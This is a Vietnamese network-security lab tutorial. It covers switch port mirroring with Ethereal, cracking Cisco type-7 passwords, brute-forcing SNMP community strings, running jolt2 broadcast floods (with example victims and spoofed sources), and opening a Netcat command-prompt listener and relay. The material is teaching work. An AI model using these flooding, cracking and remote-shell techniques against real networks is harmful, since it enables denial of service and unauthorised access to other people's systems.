Chúng ta sẽ thấy thiếu một phần mềm để capture các packet lại. Trong bài viết này sẽ sử dụng Winpcap. Địa chỉ download như sau http: // winpcap.polito.it/. Sau khi load phần mềm này từ Internet ta bắt đầu cài vào máy. Sử dụng phần mềm Ethereal giám sát các cổngcủa Switching 2950. Lý thuyết về SPAN (Switched port Analyzer) chúng ta có thể tham khảo ở các chương sau.
Ta xây dụng đồ hình như sau:
Bước 1: Cấu hình Switch 2950 như sau:
!
hostname Switch
!
enable password cisco
!
interface FastEthernet0/1
no ip address
!
interface FastEthernet0/2
no ip address
!
interface FastEthernet0/3
no ip address
!
interface FastEthernet0/4
no ip address
duplex full
speed 100
!
interface FastEthernet0/5
no ip address
!
interface Vlan1
no ip address
no ip route-cache
shutdown
!
ip http server
!
monitor session 1 source interface Fa0/2
monitor session 1 destination interface Fa0/4
end
Bước 2: ta bật start của phần mềm Ethereal lên . Lúc đó chỉ có rất nhiều ô cho chúng ta chọn lựa như sau :
Interface: chỉ ra interface ma ta muốn capture gói packet lại. Chúng ta chỉ có thể capture trên 1 interface duy nhất trong một thời điểm
Link-layer header time : trong trường hợp bình thường chúng ta thường không đụng đến chứ năng này . Chúng ta có thể chọn link-layer header cho phù hợp với đường truyền.
Buffer size : có chức năng bộ đệm trong khi đang capture .Đây là kích thước của Kernel buffer cái mà sẽ giữ các packet đã được capture cho đến khi lưu nó và đĩa cứng . Nếu như bạn bị huỷ các gói packet thì bạn hãy nghĩ đến viêc gia tăng chỉ số này .
Capture packet in promiscuous mode : box này chỉ ra rằng Ethereal có đặt interface của mình trong promiscuous mode khi đang capture.Nếu không chỉ ra chức năng này ,Ethereal chỉ làm công việc là capture packet đến hay từ máy tính của bạn đi .
Limit each packet to n byte : Nếu bạn không quan tâm tất cả dữ liệu của các gói tin thì bạn sẽ sử dụng chức năng này(default là 65535). Đây là biện pháp chúng ta có thể làm cho CPU ít phải hoạt động nhiều hơn, và giảm được tối thiểu dung lượng của buffer.
Capture filter : Ethereal sử dụng ngôn libpcap filter để lọc capture. Sau đây là cú pháp của câu lệnh :
[not] primitive [and | or [not] primitive . . . ]
Ta có thể xét ví dụ sau đây cho vấn đề rõ ràng hơn . Giả sử ta đánh vào
“tcp port 23 and host 192.168.2.1”. Lúc này ta chỉ thấy Ethereal chỉ làm 1 nhiệm vụ là capture các lưu lượng telnet từ host 192.168.2.1.
File: Chúng ta phải chỉ ra đường dẫn để sao lưu các dữ liệu đã capture
Use multiple file: thay vì sử dụng 1 file, Ethereal tự động chuyển qua 1 file mới, nếu như mà điều kiện kích hoạt đã đầy đủ.
Stop capture: định nghĩa dừng khi thoả mãn các điều kiện lựa chọn.
Display Options frame:
-update list of packets in real time: Chọn lựa này cho phép bạn chỉ ra rằng Ethereal có thể update packet vào các list trong thời gian thực. Thường thì chúng ta chỉ thấy được các packet sau khi chúng ta nhấn stop quá trình của Ethereal.
Name Resolution frame: hiển thị chi tiết hơn hoạt động của các layer. Sau khi ta chọn những thông số này, nhấn vào nút “Ok”. Như vậy quá trình giám sát đã bắt đầu. Bây giờ ta lấy một máy trạm ping vào máy Laptop để tạo ra lưu lượng ICMP, ta sẽ thấy các gói tin ICMP tăng lên. Như vậy tính năng giám sát cổng đã hoạt động.
Bây giờ ta lấy một máy trạm vào trang web yahoo. Tất cả lưu lượng từ máy tính để bàn đều đưa về cổng fa0/4 của Switch 2950. Vì vậy phần mềm Ethereal có thể giám sát được quá trình này. Hầu hết các lưu lượng vào yahoo đều thuộc giao thức TCP, ta thấy ô TCP sẽ tăng dần lên. Sau khi chọn nút stop, chúng ta quay lại với bảng thống kê các gói tin. Ta click vào một dòng bất kỳ để xem thông tin các gói. Chúng ta có thể lọc các gói packet này ra bằng thanh công cụ Filter và tô màu cho nó (dùng lệnh ip.addr=192.168.1.9>0). Ở phía dưới là nội dung thông tin của gói tin mà chúng ta bắt được bao gồm dạng file, địa chỉ nguồn, đích, nội dung thông tin bằng hexa, hay là dạng string. Dựa vào những thông tin chúng ta có thể kiểm soát được những gì đang chạy trong mạng này. Các bạn có thể tìm hiểu thêm thông tin tại trang web www.ethereal.com để download về phiên bản study guide .
Trên các router R1 và R2, đặt password enable bất kỳ, bật chức năng mã hóa password.
R1#conf t
Enter configuration commands, one per line. End with CNTL/Z.
R1(config)#enable password Durianstorm
R1(config)#exit
R1#sh ru
*Dec 5 11:01:49.535: %SYS-5-CONFIG_I: Configured from console by consolen
Building configuration...
Current configuration : 704 bytes
!
version 12.4
service timestamps debug datetime msec
service timestamps log datetime msec
no service password-encryption
!
hostname R1
!
boot-start-marker
boot-end-marker
!
enable password Durianstorm
!
no aaa new-model
!
resource policy
Chú ý là lúc này mật khẩu enable thể hiện ở dạng clear text. Để mã hóa mật khẩu này khi dùng với lệnh show run, ta bật dịch vụ service password encryption
R1#conf t
Enter configuration commands, one per line. End with CNTL/Z.
R1(config)#service password-encryption
R1(config)#exit
R1#sh run
Building configuration...
Current configuration : 716 bytes
!
version 12.4
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname R1
!
boot-start-marker
!
enable password 7 03204E190F0E2F5F5A060B08
!
Chú ý là mật khẩu đã được hiển thị ở dạng mã hóa. Mật khẩu này có thể được giải mã dễ dàng.
Cắt và dán chuỗI ký tự đã được mã hóa trên vào chương trình Router Password Decryption của SolarWinds
Chọn chức năng Decryp
1.Thử nghiệm kiểu tấn công Brute Force community string của SNMP
Quản trị mạng với giao thức SNMP
Giao thức Simple Network Management Protocol (SNMP) dùng một cấu trúc trong đó các thiết bị có thể được quản trị có các thông tin mà một phần mềm quản trị (SNMP Manager) cần để hiển thị một vài hoạt động của hệ thống mạng. Mỗi SNMP agent sẽ giữ một cơ sở dữ liệu, được gọi là Management Information Base (MIB), trong đó chứa các thông tin khác nhau về hoạt động của thiết bị mà agent đang giám sát. Phần mềm quản lý sẽ thu thập thông tin thông qua SNMP.
SNMP được định nghĩa với bốn chức năng hoạt động chính để cho phép các phần mềm quản lý có thể quản lý các agents:
Định nghĩa dữ liệu: Các qui ước cho cú pháp để định nghĩa dữ liệu mà một tác nhân agent dùng. Các đặc tả này được gọi là cấu trúc thông tin quản lý (Structure of Management Information - SMI).
MIB: Trên 100 chuẩn Internet định nghĩa các MIBs khác nhau, mỗi MIB cho một lĩnh vực công nghệ khác nhau. Định nghĩa MIB tuân theo các phiên bản cấu trúc thông tin quản lý SMI phù hợp.
Giao thức: các thông điệp được dùng bởi các agent và manager để trao đổi thông tin quản trị
Bảo mật và quản trị (Security và Administration): Các định nghĩa làm thế nào để bảo mật quá trình trao đổi thông tin giữa tác nhân agent và phần mềm quản trị manager.
Bằng cách chia SNMP ra thành các lĩnh vực hoạt động này, mỗi phần đã được cải tiến và phát triển độc lập nhiều năm qua. Tuy nhiên, ta cần phải nắm một vài đặc điểm quan trọng của các phiên bản chính thức của SNMP.
Phiên bản SNMP |
Mô tả |
1 |
Dùng SMIv1 dùng phương thức xác thực đơn giản với community nhưng chỉ dùng MIB-I. |
2 |
Dùng SMIv2. Loại bỏ việc sử dụng communities thêm vào các thông điệp Getbulk và Inform nhưng đã bắt đầu với phiên bản MIB-II. |
2c |
Phiên bản giả cho phép SNMPv1 giao tiếp với SNMPv2. Tương đương với SNMPv2. |
3 |
Phần lớn tương tự như SNMPv2 nhưng thêm vào các tính năng bảo mật. Hỗ trợ tương thích ngược. Dùng MIB-II. |
Phiên bản SNMPv1 định nghĩa chuỗi ký tự community string để sử dụng như một dạng mật khẩu đơn giản. SNMPv2 không còn yêu cầu dùng chuỗi ký tự community string tuy nhiên để duy trì tính tương thích, thuộc tính này giữ lại như là một tùy chọn. SNMPv3 cũng vẫn duy trì tính tương thích ngược này.
SNMPv3 thêm vào các đặc điểm bảo mật so với SNMPv2 và SNMPv2c. SNMPv3 bổ sung thêm hai hướng chính về bảo mật so với SNMPv2 và SNMPv2c: xác thực và mã hóa.
SNMPv3 sử dụng MD5 và SHA để tạo ra các giá trị hash cho từng thông điệp snmp. Thao tác này giúp cho phép xác thực các đầu cuối cũng như là ngăn ngừa thay đổi dữ liệu và các kiểu tấn công. Thêm vào đó, các phần mềm quản trị SNMPv3 và các agent có thể dùng DES để mã hóa gói tin, cho phép bảo mật tốt hơn. SNMPv3 đề nghị trong tương lai sẽ hỗ trợ AES nhưng đây không phải là một phần của đặc tả SNMPv3 ban đầu.
Trên router R1 và cả R2, bật chức năng SNMP lên.
R1(config)#snmp-server community vnpro rw
Từ máy PC1 hoặc PC2, giả sử attacker cần dò tìm ra community string của các router.
Chọn Setting để xây dựng tự điển đơn giản
Chọn tập hợp các ký tự
Chọn community string
Sau đó, quay ra màn hình chính và chọn nút Attack
Hãy kiểm tra khoảng thời gian mà thuật toán này mất để dò ra community string.
Trên PC2, cấu hình default gateway là địa chỉ cổng outside của R2. Từ PC2, thực hiện lệnh ping vào PC1. Bạn có thể ping được PC1 hay không? Nếu ping không được, hãy thực hiện cấu hình routing sao cho từ PC2 có thể ping được LAN giữa PC1 và R1. Địa chỉ mạng của LAN này là 10.1.1.0/24.
Trên R1, bật chức năng ip directed-broadcast.
R1(config)#int F0/0
R1(config-if)#ip directed-broadcast
Từ PC2, chạy chương trình jolt2 từ dấu nhắc của Dos. Dưới đây là cách sử dụng chương trình jolt2 này.
jolt2.exe <victim> <spoof host> [options]
Các options bao gồm:
-P: Protocols to use. Either icmp, udp or both (default icmp)
-p: Dest port (default 7)
-n: Num of packets to send (0 is continuous (default))
-d: Delay (in ms) (default 0)
Example I: jolt2 217.155.32.170 40.41.42.43
On this attack:
- Victim: 217.155.32.170
- Source IP: 40.41.42.43
- Protocol: ICMP
- Destination Port: not used on icmp
- Count: Continuous
- Delay: 0 ms (no delay between packets)
Từ máy PC2, bạn có thể dùng lệnh
Jolt2 10.1.1.255 10.215.219.35
Trong đó 10.215.219.35 là địa chỉ của PC2.
Example II: jolt2 www.xnet.org 44.45.46.47 -P udp -p 42
On this attack:
- Victim: www.xnet.org
- Source IP: 44.45.46.47
- Protocol: UDP
- Destination Port: 42
- Count: Continuous
- Delay: 0 ms (no delay between packets)
Example III: jolt2 www.xnet.org www.beginner.vg -P both -p 53
On this attack:
- Victim: www.xnet.org
- Source IP/host: www.beginner.vg
- Protocol: ICMP + UDP
- Destination Port: 53 (for udp packets)
- Count: Continuous
- Delay: 0 ms (no delay between packets)
Trên router R2, thử bật debug ip packet để xem số lượng gói tin đang gửi về. bạn cũng có thể quan sát thấy performance của router giảm hẳn.
Trên router R1, tắt lệnh ip directed_broadcast. Thực hiện ping lại một lần nữa.
1.Sử dụng chương trình NetCat để tạo ra một dấu nhắc ở DOS
NetCat là một công cụ cho phép đọc và viết dữ liệu trên các kết nối TCP, có thể hoạt động như TCP/UDP server hoặc trung chuyển các kết nối TCP.
Đầu tiên, khi các máy PC1 và PC2 chưa có chương trình netcat được bật. Từ router R1 hoặc R2, thực hiện Telnet đến các PC1 hoặc PC2.
R2#telnet 10.215.219.37
Trying 10.215.219.37 ...
% Connection Refused by Remote Host
Trên PC1 hoặc PC2, thực hiện lệnh sau ở dấu nhắc CMD.exe.
Lệnh này ra lệnh cho máy PC1 lắng nghe ở port 80. Khi có host kết nối vào máy này thông qua port 80, máy sẽ tạo ra một dấu nhắc.
R1#telnet 10.1.1.2 80
Khi bạn thực hiện telnet từ router đến PC1, bạn sẽ thấy xuất hiện dấu nhắc lệnh của PC trên màn hình terminal.
Để sử dụng Netcat như một TCP Relay server, bạn thực hiện như sau trên máy PC1:
Lệnh này sẽ ra lệnh cho PC lắng nghe trên cổng 80. Khi có một yêu cầu kết nối vào cổng 80 trên PC1, PC1 sẽ chuyển kết nối này về địa chỉ đích 10.1.1.1, cổng là 23. Lúc này, nếu trên R1 đã có cấu hình các line vty, bạn sẽ có thể bị trung chuyển kết nối telnet vào chính R1.